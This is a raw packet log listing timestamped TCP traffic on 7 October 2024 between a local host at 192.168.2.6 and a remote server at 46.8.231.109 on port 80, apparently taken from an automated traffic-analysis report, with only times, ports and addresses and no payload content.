Oct 7, 2024 18:00:26.723978043 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.723988056 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.723998070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724006891 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724009991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724037886 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724066019 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724102020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724116087 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724126101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724136114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724142075 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724148035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724157095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724158049 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724168062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724184990 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724200964 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724262953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724273920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724286079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724299908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724306107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724309921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724322081 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724322081 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724333048 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724344969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724353075 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724354982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724392891 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724407911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724421978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724430084 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724431992 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724442005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724445105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724452019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724462986 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724463940 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724473953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724484921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724490881 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724497080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724507093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724508047 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724520922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724523067 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724534988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724550009 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724579096 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724870920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724880934 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724889994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724911928 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724925995 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724926949 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724940062 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724950075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724961996 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724972963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724981070 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.724984884 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.724993944 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.725008965 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.725033045 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.726485014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.726540089 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.726552010 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.726555109 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.726577997 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.726592064 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.726619005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.726634026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.726644993 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.726653099 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.726655960 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.726674080 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.726700068 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.728106976 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.728116989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.728126049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.728177071 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.728198051 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.728214025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.728224039 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.728234053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.728244066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.728249073 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.728255987 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.728264093 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.728293896 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.729285002 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.729342937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.729381084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.729389906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.729433060 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.729542971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.729553938 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.729569912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.729581118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.729589939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.729592085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.729615927 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.729646921 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.803106070 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.803119898 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.803131104 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.803142071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.803153038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.803168058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.803179026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.803212881 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.803225994 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.803237915 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.803241014 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.803252935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.803263903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.803270102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.803275108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.803286076 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.803291082 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.803296089 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.803320885 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.803345919 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.804025888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.804038048 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.804049015 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.804059982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.804069996 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.804075956 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.804080009 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.804106951 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.804122925 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.804786921 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.804799080 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.804809093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.804820061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.804831028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.804836035 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.804843903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.804852962 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.804879904 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.804909945 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.804920912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.804949045 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.805794954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.805805922 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.805818081 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.805851936 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.805869102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.805934906 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.805946112 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.805958033 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.805969000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.805979013 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.805983067 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.806005955 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.806015968 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.806715965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.806770086 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.806776047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.806787014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.806808949 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.806824923 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.806859970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.806869984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.806885004 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.806896925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.806901932 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.806920052 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.806946039 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.806984901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807024956 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807132006 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807145119 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807153940 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807163954 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807173967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807179928 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807188034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807193995 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807199001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807209969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807220936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807224989 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807233095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807245970 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807264090 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807353973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807364941 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807375908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807394028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807421923 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807425976 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807430983 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807430983 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807435989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807446957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807459116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807461977 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807478905 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807503939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807574987 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807585955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807600975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807605982 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807611942 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807624102 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807626963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807637930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807642937 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807713985 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807806969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807817936 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807830095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807841063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807846069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.807847977 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807872057 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.807885885 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.808451891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.808461905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.808504105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.858546019 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.863519907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032321930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032339096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032349110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032423973 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032433987 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032444000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032454014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032465935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032495975 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.032558918 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032572031 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.032609940 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.032658100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032668114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032676935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032687902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032699108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032700062 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.032710075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032720089 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032727003 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.032749891 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.032771111 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.032906055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032917023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032927036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.032948017 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.032977104 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.033019066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.033027887 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.033062935 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.033375978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.033385038 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.033395052 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.033417940 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.033435106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.033446074 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.033446074 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.033459902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.033471107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.033472061 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.033479929 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.033503056 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.033528090 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.033612967 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.033653975 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.033732891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.033744097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.033754110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.033777952 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.033802032 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.034147978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034189939 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.034219980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034234047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034257889 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.034276009 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.034310102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034318924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034329891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034339905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034343004 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.034353018 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034368038 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.034394979 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.034568071 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034576893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034585953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034596920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034605980 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034610033 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.034615993 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034627914 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034630060 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.034636974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034646988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034653902 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.034657955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034667969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.034673929 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.034698963 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.034719944 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.035126925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035139084 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035144091 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035152912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035164118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035176992 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.035207987 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.035377026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035401106 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035415888 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.035418034 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035427094 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035433054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035438061 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035463095 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.035485983 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.035509109 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.035583019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035593033 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035604000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035614014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035619974 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.035624981 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:27.035655975 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:27.035665035 CEST	80	49718	46.8.231.109	192.168.2.6
